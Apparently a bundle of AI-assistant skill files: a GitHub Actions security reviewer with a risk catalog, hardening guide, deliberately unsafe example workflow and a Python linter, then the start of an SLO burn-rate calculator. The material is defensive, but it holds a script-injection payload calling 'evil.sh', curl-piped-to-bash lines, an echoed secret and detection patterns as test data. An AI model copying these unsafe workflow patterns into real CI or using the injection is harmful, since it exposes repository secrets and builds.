- Scan configurations with a policy tool such as checkov or tfsec before merging. Confidence: 0.75
- Avoid provisioners and local-exec; hand configuration off to images or config tools. Confidence: 0.80
- Run a scheduled plan to detect drift and alert when it is not empty. Confidence: 0.75
- Keep data sources for lookups and avoid hardcoding IDs or ARNs. Confidence: 0.80

---
name: github-actions-workflow-security-reviewer
description: Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.
---

# GitHub Actions Workflow Security Reviewer

You help maintainers find and fix security problems in `.github/workflows/*.yml` before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working.

## Files in this skill

- `scripts/gha_audit.py` - line-based linter for workflow files: triggers, permissions, `uses:` pinning, script injection in `run:` and `github-script`, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed)
- `references/risk-catalog.md` - every rule ID with severity, why it matters, and the fix
- `references/hardening-guide.md` - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows
- `templates/workflow-security-review.md` - a review comment or audit report
- `examples/pr-labeler.yml` - a deliberately unsafe workflow and its expected findings

## Workflow

### 1. Collect the workflows
Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by `pull_request_target`, `issue_comment`, `issues`, `workflow_run`, or `discussion` deserve the closest look because they run with repository secrets on events outsiders can create.

### 2. Run the linter
```
python3 scripts/gha_audit.py .github/workflows/*.yml
python3 scripts/gha_audit.py examples/pr-labeler.yml --json
python3 scripts/gha_audit.py ci.yml --strict
python3 scripts/gha_audit.py --self-test
```
Exit code 1 means at least one high finding (`--strict`: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well.

### 3. Confirm each finding
For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a stated reason; never silently drop a high finding.

### 4. Propose fixes
Use `references/risk-catalog.md` for each rule ID and `references/hardening-guide.md` for patterns. Prefer small, reviewable diffs: move `{}` into `env:` and quote the shell variable, add a top-level `permissions: contents: read`, pin `uses:` to a full commit SHA with the tag in a comment, and add `persist-credentials: false` and `timeout-minutes`.

### 5. Report
Fill `templates/workflow-security-review.md`: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers).

## Rules

- Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input.
- Never ask for or print secret values; refer to secrets by name only.
- Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead.
- A clean linter run is not a guarantee. Say what was not checked (reusable workflows, composite actions, repository settings).
FILE:references/risk-catalog.md
# Risk Catalog (rule IDs used by gha_audit.py)

| ID | Severity | What it detects | Why it matters | Fix |
|---|---|---|---|---|
| GHA001 | high | `pull_request_target` (or `workflow_run`) workflow that checks out the PR head (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Code from a fork runs with repository secrets and a write token ("pwn request") | Use `pull_request` for building untrusted code; keep `pull_request_target` for labeling/commenting only, without checkout of PR code |
| GHA002 | high | Untrusted `{}` expression inside `run:` or `github-script` `script:` (issue/PR title or body, comment body, head ref, commit message, author name/email, page name) | The text is pasted into the script before it runs, so a title like `"; curl evil.sh | sh #` executes | Pass it through `env:` and use `"$TITLE"` in the shell |
| GHA003 | medium (low for `actions/*`, `github/*`) | `uses: owner/repo@v4` pinned to a tag | Tags can be moved; a compromised action ships code into your build | Pin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it |
| GHA004 | high | `uses:` with a branch (`@main`, `@master`) or no ref | Every run pulls whatever is on that branch today | Pin to a commit SHA |
| GHA005 | medium | No `permissions:` at workflow level and not on every job | The `GITHUB_TOKEN` gets the repository default, often read/write on everything | Add `permissions: contents: read` at the top and grant more per job |
| GHA006 | high | `permissions: write-all` | Every scope can be written by any step | List only the scopes needed |
| GHA007 | high / medium | `{ secrets.X}` inside a `run:` command (high when echoed or printed) | Secrets end up in shell history, process lists, logs, or injected text | Map the secret to `env:` and read `$X`; never echo it |
| GHA008 | medium | `curl ... \| bash` or `wget ... \| sh` | Runs unverified remote code with the job's token and secrets | Download, verify a checksum or signature, then run; or use a pinned action |
| GHA009 | medium | `self-hosted` runner in a workflow triggered by `pull_request` or `pull_request_target` | Fork code can persist on the machine and attack later jobs | Use GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors |
| GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Re-enables deprecated `set-env`/`add-path`, which log output can trigger | Remove it; write to `$GITHUB_ENV` and `$GITHUB_PATH` |
| GHA011 | low | `actions/checkout` without `persist-credentials: false` | The token stays in `.git/config` for every later step and any uploaded artifact | Add `persist-credentials: false` unless a later step pushes |
| GHA012 | low | Job without `timeout-minutes` | A hung or abused job can run for 6 hours on your minutes | Add a realistic timeout (e.g. 15-30) |
| GHA013 | low | `docker://image:tag` without `@sha256:` digest | Image tags are mutable | Pin `docker://image@sha256:<digest>` |
| GHA014 | medium | `workflow_run` workflow using `actions/download-artifact` | Artifacts from a fork-triggered run are attacker-controlled | Treat artifact contents as data: validate, never execute; avoid extracting into the workspace |

## Severity guide
- **high**: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build.
- **medium**: hardening gap that makes a compromise easier or bigger.
- **low**: good practice; fix when touching the file.
FILE:references/hardening-guide.md
# Hardening Guide

## 1. Pass untrusted text through env, not expressions
```yaml
# unsafe
- run: echo "Title: { github.event.pull_request.title}"
# safe
- env:
    PR_TITLE: { github.event.pull_request.title}
  run: echo "Title: $PR_TITLE"
```
Always double-quote the variable. In `actions/github-script`, read `context.payload.pull_request.title` in JavaScript instead of interpolating `{}` into the script.

## 2. Least-privilege token
```yaml
permissions:
  contents: read          # workflow default
jobs:
  label:
    permissions:
      pull-requests: write  # only this job can label
```
Also set the repository default to read-only (Settings > Actions > General > Workflow permissions).

## 3. Pin actions to commit SHAs
```yaml
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
```
Enable Dependabot for the `github-actions` ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them.

## 4. Split privileged and unprivileged work
- `pull_request` workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact.
- `workflow_run` workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label.

## 5. Checkout and credentials
- `persist-credentials: false` on `actions/checkout` unless the job pushes.
- Never check out PR code in `pull_request_target`; if you must (e.g. a labeler reading config), check out the base branch only.

## 6. Runners and limits
- Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems.
- `timeout-minutes` on every job; `concurrency` groups for deploys.

## 7. Secrets and environments
- Put deploy credentials in an environment with required reviewers and branch rules.
- Prefer OIDC (`id-token: write`) to long-lived cloud keys.
- Mask derived values with `::add-mask::` before printing anything secret-like.

## Review checklist
1. Which triggers can outsiders fire?
2. What can the token write, and which secrets are reachable from those triggers?
3. Is any attacker-controlled text interpolated into a script?
4. Is every `uses:` pinned to a SHA?
5. Is any remote code executed without verification?
FILE:templates/workflow-security-review.md
# GitHub Actions Security Review - <repository>

**Date:** <YYYY-MM-DD>  **Reviewer:** <name>  **Files:** <.github/workflows/...>
**Repo visibility:** <public/private>  **Fork PRs allowed:** <yes/no>  **Self-hosted runners:** <yes/no>
**Linter:** `gha_audit.py` -> <n> high, <n> medium, <n> low

## High findings
| Rule | File:line | Problem | Attack scenario | Fix |
|---|---|---|---|---|
| | | | | |

## Medium and low findings
| Rule | File:line | Problem | Fix |
|---|---|---|---|
| | | | |

## Dismissed findings
- <rule, file:line> - <reason it is not exploitable here>

## Proposed patch
```diff
<minimal diff>
```

## Not covered by this review
- Reusable workflows and composite actions called from these files
- Repository and organization settings (default token permissions, fork PR approval, environments)

## Follow-ups
- [ ] Enable Dependabot for github-actions
- [ ] Set default workflow permissions to read-only
- [ ] Require reviewers on the production environment
FILE:examples/pr-labeler.yml
# Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file):
#   GHA001 high   line 21 - pull_request_target checks out the PR head
#   GHA002 high   line 24 - PR title pasted into run (script injection)
#   GHA007 high   line 25 - secret echoed in run
#   GHA004 high   line 27 - third-party action on @main
#   GHA005 medium line 1  - no permissions block at workflow or job level
#   GHA008 medium line 26 - curl piped to bash
#   GHA012 low    line 16 - job without timeout-minutes
#   GHA003 low    line 19 - actions/checkout@v4 pinned to a tag
#   GHA011 low    line 19 - checkout without persist-credentials: false
name: PR labeler
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: { github.event.pull_request.head.sha}
      - name: Greet
        run: |
          echo "Thanks for: { github.event.pull_request.title}"
          echo "token={ secrets.LABEL_TOKEN}"
          curl -sSL https://example.com/install.sh | bash
      - uses: someorg/auto-labeler@main
FILE:scripts/gha_audit.py
#!/usr/bin/env python3
"""GitHub Actions workflow security linter (Python 3 standard library only, no YAML library).

Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs
(see references/risk-catalog.md):
  GHA001 pull_request_target/workflow_run + checkout of PR head      high
  GHA002 untrusted { github.event.*} text inside run:/script:    high
  GHA003 uses: pinned to a tag instead of a commit SHA               medium (low for actions/*, github/*)
  GHA004 uses: on a branch (@main/@master) or without a ref          high
  GHA005 no permissions at workflow level or on every job            medium
  GHA006 permissions: write-all                                      high
  GHA007 { secrets.*} inside run: (high when echoed/printed)     high/medium
  GHA008 curl/wget piped to a shell                                  medium
  GHA009 self-hosted runner on pull_request(_target)                 medium
  GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled                     high
  GHA011 actions/checkout without persist-credentials: false         low
  GHA012 job without timeout-minutes                                 low
  GHA013 docker:// image without @sha256 digest                      low
  GHA014 workflow_run + actions/download-artifact                    medium

Usage:
  python3 gha_audit.py .github/workflows/*.yml
  python3 gha_audit.py ci.yml --json
  python3 gha_audit.py ci.yml --strict      # exit 1 on any finding
  python3 gha_audit.py --self-test
Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file.
"""
import argparse
import json
import re
import sys

SEV_ORDER = {"high": 0, "medium": 1, "low": 2}
TRUSTED_OWNERS = {"actions", "github"}
BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"}
UNTRUSTED_EXPR = re.compile(
    r"github\.head_ref"
    r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b"
)
EXPR = re.compile(r"\$\{\{(.*?)\}\}")
SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}")
PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}")
PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b")
PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b")
SHA40 = re.compile(r"^[0-9a-f]{40}$")


def strip_comment(line):
    """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes)."""
    out, q = [], None
    for i, ch in enumerate(line):
        if q:
            if ch == q:
                q = None
        elif ch in "'\"":
            q = ch
        elif ch == "#" and (i == 0 or line[i - 1] in " \t"):
            break
        out.append(ch)
    return "".join(out).rstrip()


def indent_of(s):
    return len(s) - len(s.lstrip(" "))


def parse_lines(text):
    """Return a list of (lineno, indent, content) for non-empty, non-comment lines."""
    rows = []
    for n, raw in enumerate(text.splitlines(), 1):
        s = strip_comment(raw.replace("\t", "  "))
        if s.strip():
            rows.append((n, indent_of(s), s.strip()))
    return rows


def block_end(rows, i):
    """Index after the block owned by rows[i] (all following rows indented deeper)."""
    ind = rows[i][1]
    j = i + 1
    while j < len(rows) and rows[j][1] > ind:
        j += 1
    return j


def key_of(content):
    c = content[2:].lstrip() if content.startswith("- ") else content
    m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c)
    return (m.group(1), c[m.end():].strip()) if m else (None, None)


def triggers(rows):
    trig = set()
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k in ("on", "true"):
            if v:
                trig.update(re.findall(r"[a-z_]+", v))
            else:
                end = block_end(rows, i)
                child = min((rows[j][1] for j in range(i + 1, end)), default=None)
                for j in range(i + 1, end):
                    if rows[j][1] == child:
                        ck, _ = key_of(rows[j][2])
                        if ck:
                            trig.add(ck)
                        elif rows[j][2].startswith("- "):
                            trig.add(rows[j][2][2:].strip())
    return trig


def audit_text(text, path="workflow.yml"):
    rows = parse_lines(text)
    findings = []

    def add(rule, sev, line, msg):
        findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg})

    trig = triggers(rows)
    privileged = trig & {"pull_request_target", "workflow_run"}
    pr_triggers = trig & {"pull_request", "pull_request_target"}

    top_perm = None
    jobs_idx = None
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k == "permissions":
            top_perm = (n, v)
        if ind == 0 and k == "jobs":
            jobs_idx = i
    if top_perm and top_perm[1].strip("'\"") == "write-all":
        add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes")

    # jobs
    jobs = []
    if jobs_idx is not None:
        end = block_end(rows, jobs_idx)
        child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None)
        for j in range(jobs_idx + 1, end):
            if rows[j][1] == child and key_of(rows[j][2])[0]:
                jobs.append((j, block_end(rows, j)))
    jobs_with_perm = 0
    for (js, je) in jobs:
        jname = key_of(rows[js][2])[0]
        jind = rows[js][1]
        direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else []
        dkeys = {key_of(r[2])[0]: r for r in direct}
        if "permissions" in dkeys:
            jobs_with_perm += 1
            if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all":
                add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all")
        if "timeout-minutes" not in dkeys and "uses" not in dkeys:
            add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)")
        if "runs-on" in dkeys:
            ro_i = rows.index(dkeys["runs-on"])
            ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)])
            if "self-hosted" in ro_text and pr_triggers:
                add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner")
    if top_perm is None and (not jobs or jobs_with_perm < len(jobs)):
        add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default")

    # line-level checks
    i = 0
    while i < len(rows):
        n, ind, c = rows[i]
        k, v = key_of(c)
        if k in ("run", "script"):
            end = block_end(rows, i)
            body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else []
            body += [(r[0], r[2]) for r in rows[i + 1:end]]
            for bn, bt in body:
                for m in EXPR.finditer(bt):
                    expr = m.group(1).strip()
                    if UNTRUSTED_EXPR.search(expr):
                        add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env")
                for m in SECRET_EXPR.finditer(bt):
                    if PRINT_CMD.search(bt):
                        add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:")
                    else:
                        add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead")
                if k == "run" and PIPE_SHELL.search(bt):
                    add("GHA008", "medium", bn, "remote script piped straight into a shell")
            i = end
            continue
        if k == "uses":
            ref = v.strip("'\"")
            if ref.startswith("./"):
                pass
            elif ref.startswith("docker://"):
                if "@sha256:" not in ref:
                    add("GHA013", "low", n, f"{ref} is not pinned to an image digest")
            else:
                name, _, at = ref.partition("@")
                owner = name.split("/")[0].lower()
                if not at or at.lower() in BRANCH_REFS:
                    add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA")
                elif not SHA40.match(at):
                    sev = "low" if owner in TRUSTED_OWNERS else "medium"
                    add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA")
                if name.lower().startswith("actions/checkout"):
                    # the step block: siblings at this indent (after '- ') and deeper
                    step_ind = ind + 2 if c.startswith("- ") else ind
                    j = i + 1
                    j0 = i
                    while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind:
                        j0 -= 1
                    while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")):
                        j += 1
                    step = " ".join(r[2] for r in rows[j0:j])
                    if not re.search(r"persist-credentials:\s*['\"]?false", step):
                        add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false")
                if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig:
                    add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data")
        if privileged and PR_HEAD_REF.search(c):
            add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available")
        if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I):
            add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path")
        i += 1

    findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"]))
    return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings}


def to_markdown(results):
    out = ["# GitHub Actions security audit", ""]
    tot = {"high": 0, "medium": 0, "low": 0}
    for r in results:
        for f in r["findings"]:
            tot[f["severity"]] += 1
    out.append(f"**Files:** {len(results)}  **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low")
    for r in results:
        out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""]
        if not r["findings"]:
            out.append("No findings.")
            continue
        out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"]
        for f in r["findings"]:
            msg = f["message"].replace("|", "\\|")
            out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |")
    return "\n".join(out)


SAFE = """name: CI
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
        with:
          persist-credentials: false
      - name: Test
        env:
          PR_TITLE: { github.event.pull_request.title}
        run: |
          echo "Testing $PR_TITLE"
          make test
"""


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    def rules(text):
        return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]]

    ok("safe workflow has no findings", rules(SAFE) == [])
    ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"])
    ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"])
    inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"')
    ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj))
    ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}")))
    ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |")
                                                                      .replace("make test", "core.info('{ github.event.comment.body}')")))
    ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE)))
    ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == [])
    ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4")))
    ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1")))
    ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main")))
    ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == [])
    ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n  contents: read\n", "")))
    ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n  contents: read\n", "").replace("    timeout-minutes: 15\n", "    timeout-minutes: 15\n    permissions:\n      contents: read\n")) == [])
    ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n  contents: read", "permissions: write-all")))
    ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}")))
    ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}")))
    ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash")))
    ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]")))
    ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == [])
    ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true")))
    ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace("        with:\n          persist-credentials: false\n", "")))
    ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace("    timeout-minutes: 15\n", "")))
    ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20")))
    prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}")
    ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt))
    ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}"))))
    wr = SAFE.replace("pull_request:", "workflow_run:\n    workflows: [CI]").replace("      - name: Test", "      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n      - name: Test")
    ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr))
    ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"')
    md = to_markdown([audit_text(inj, "ci.yml")])
    ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md)
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.")
    ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.files:
        ap.error("at least one workflow file required (or --self-test)")
    results = []
    for p in a.files:
        try:
            text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read()
        except OSError as e:
            print(f"error: {e}", file=sys.stderr)
            return 2
        results.append(audit_text(text, p))
    print(json.dumps(results, indent=2) if a.json else to_markdown(results))
    allf = [f for r in results for f in r["findings"]]
    if any(f["severity"] == "high" for f in allf) or (a.strict and allf):
        return 1
    return 0


if __name__ == "__main__":
    sys.exit(main())

---
name: slo-error-budget-burn-rate-calculator
description: Turns request counts into SLO answers: SLI, error budget for a 28d or 30d window, budget consumed and remaining, burn rates over 5m to 3d, multiwindow burn-rate alerts (page at 14.4x and 6x, ticket at 3x and 1x, scaled to the window), and time until the budget runs out. Use when setting an SLO, tuning alerts, deciding on a release freeze, or writing an incident summary. Includes a stdlib Python calculator with --self-test.
---

# SLO Error Budget and Burn Rate Calculator

You help engineers and on-call teams reason about reliability with numbers instead of gut feeling. You turn good/total request counts into an SLI, translate the SLO into an error budget, show how fast the budget is burning in several windows, say which alerts would page or open a ticket, and estimate when the budget runs out at the current pace. You explain every number in plain language so product owners can follow the decision.

## Files in this skill

- `scripts/slo_budget.py` - reads a CSV of request counts per interval and prints SLI, budget consumed and remaining, burn rates, alert states, exhaustion times and the worst interval; `--allowance` prints allowed downtime and alert thresholds for any SLO (Python 3 standard library only)
- `references/slo-math.md` - formulas for SLI, error budget, burn rate, projected consumption, and worked numbers for common targets
- `references/burn-rate-alerting.md` - the multiwindow, multi-burn-rate alert policy, how thresholds scale with the window, and tuning advice
- `templates/slo-status-report.md` - a weekly SLO status or incident budget summary
- `examples/checkout-api-requests.csv` - two days of 15-minute request counts for a checkout API with a small blip and a 2-hour incident at the end

## Workflow

### 1. Define the SLI and SLO
Ask what a "good" event is (status < 500, latency under 300 ms, successful job run), where the counts come from, the target (99%, 99.5%, 99.9%, 99.95%), and the window (rolling 28 or 30 days). Push back on targets the system has never met: show the historical SLI first.

### 2. Get the data
Export good and total (or bad and total) counts per interval, for example 1-minute, 5-minute or 15-minute buckets, as CSV with `timestamp,total,good`. The timestamp marks the start of each interval. Use UTC.

### 3. Run the calculator
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Exit code 1 means a page alert is firing or the budget is exhausted; 2 means bad input (missing columns, bad > total, unparseable timestamps).

### 4. Interpret
- Burn rate 1.0 spends exactly the budget over the window; 14.4 for an hour spends 2% of a 30-day budget.
- Budget consumed is projected against the traffic seen so far; with less than a full window of data, say so.
- An alert fires only when both its long and short window exceed the threshold; the short window makes it stop quickly after recovery. See `references/burn-rate-alerting.md`.
- Windows shorter than the data step are rounded up to one step; windows longer than the data are "not evaluable".

### 5. Recommend and report
Tie the numbers to a decision: page now, open a ticket, slow down risky releases while remaining budget is low, or loosen an SLO that is always violated by design. Fill `templates/slo-status-report.md`.

## Example result
For `examples/checkout-api-requests.csv` at 99.9% over 30d: SLI 99.8768%, 8.2% of the budget consumed, 1h burn 26.46 and 5m burn 28.06 so the fast page fires, 6h burn 5.83 just under 6.0, the 3d ticket is not evaluable with two days of data, and at the last hour's pace the budget is gone in about 1d 16h. Exit code 1.

## Rules

- State the SLO, window, data range and any missing intervals with every result.
- Do not mix good-event definitions in one SLI; compute separate SLOs for availability and latency.
- An SLO is a decision tool, not a blame tool: describe impact on users, not on people.
- Do not invent traffic numbers; if counts are missing, ask for them or say which result cannot be computed.
FILE:references/slo-math.md
# SLO Math

## Definitions
- **SLI** (service level indicator) = good events / total events, as a percentage.
- **SLO** (objective) = target SLI over a window, e.g. 99.9% of requests succeed over a rolling 30 days.
- **Error budget** = 1 - SLO = the share of events allowed to fail. 99.9% -> 0.1%.
- **Budget in events** = (1 - SLO) x total events in the window.
- **Error rate** over a window = bad / total in that window.
- **Burn rate** = error rate / (1 - SLO). 1.0 means the budget would be exactly used up at the end of the window.

## Projected consumption with partial data
With D seconds of data and W seconds of SLO window:
- expected requests in window = (requests in data / D) x W
- allowed bad = (1 - SLO) x expected requests
- consumed = bad in data / allowed bad
- time to exhaustion at a recent rate = (allowed bad - bad so far) / (bad per second in that recent window)

## Allowed full downtime
| SLO | per 30 days | per 28 days | per week | per day |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |

Request-based SLOs do not care about clock time directly: 10 minutes of 50% errors costs the same as 5 minutes of full downtime at equal traffic, and an outage at 3 a.m. costs less budget than one at peak.

## Worked example
SLO 99.9%, 30d window, 1,000,000 requests per day.
- Budget: 0.001 x 30,000,000 = 30,000 failed requests.
- A 2% error rate for one hour at 41,667 req/h burns 833 failures = 2.8% of the budget, burn rate 20.
- At burn rate 20 the whole budget lasts 30d / 20 = 36 hours.

## Pitfalls
- Counting retries as separate good events hides user-facing failures.
- Very low traffic (night, new region) makes error rates noisy; use a minimum request count or a longer short window.
- Synthetic probes measure the probe, not users; label them separately.
- Changing the SLO mid-window: recompute the whole window with the new target and say so.
FILE:references/burn-rate-alerting.md
# Burn-Rate Alerting

## Default policy (multiwindow, multi-burn-rate)
| Severity | Budget share | Long window | Short window | Burn threshold (30d) | Burn threshold (28d) |
|---|---|---|---|---|---|
